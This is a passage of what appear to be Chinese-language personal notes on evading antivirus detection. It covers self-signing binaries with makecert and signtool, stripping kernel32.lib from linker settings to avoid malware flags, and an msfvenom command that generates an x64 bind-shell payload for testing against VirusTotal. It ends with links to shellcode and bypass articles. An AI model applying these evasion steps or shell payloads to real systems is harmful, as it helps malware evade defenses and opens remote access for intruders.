-ss <store> Subject's certificate store name that stores the output
certificate
-sr <location> Subject's certificate store location.
<CurrentUser|LocalMachine>. Default to 'CurrentUser'
-# <number> Serial Number from 1 to 2^31-1. Default to be unique
-$ <authority> The signing authority of the certificate
<individual|commercial>
-n <X509name> Certificate subject X500 name (eg: CN=Fred Dews)
-? Return a list of basic options
-! Return a list of extended options
signtool.exe
C:\Program Files (x86)\Windows Kits\10\bin\10.0.22621.0\x64>signtool.exe
SignTool Error: A required parameter is missing.
Usage: signtool <command> [options]
Valid commands:
sign -- Sign files using an embedded signature.
timestamp -- Timestamp previously-signed files.
verify -- Verify embedded or catalog signatures.
catdb -- Modify a catalog database.
remove -- Remove embedded signature(s) or reduce the size of an
embedded signed file.
For help on a specific command, enter "signtool <command> /?"
makecert.exe生成证书失败,暂未复现
删除链接库
在用Visual C ++项目编译和链接属性时,我发现,如果从Linker选项中删除其他依赖项(尤其是kernel32.lib)时,某些反恶意软件引擎会停止把已生成的可执行文件标记为恶意。有趣的是,由于kernel32.lib静态库在编译后仍会被静态链接,因为可执行文件需要知道基本API函数的位置(源自kernel32.dll)。
暂未复现
切换到x64环境
生成x64捆绑shell有效载荷,并针对VirusTotal进行检查:
msfvenom -p windows/x64/shell_bind_tcp LPORT=4444 -f raw
参考链接:
msf生成sheelcode:https://www.cnblogs.com/henry666/p/17428579.html
msf生成sheelcode:https://www.cnblogs.com/clever-universe/p/8691365.html
msf生成sheelcode&监听执行上线:https://blog.csdn.net/qq_55202378/article/details/126516851
C++静态绕过检测方法汇总:https://www.freebuf.com/articles/system/227463.html
数字签名:https://www.cnblogs.com/Jimmy-X-MyCODE/p/12607756.html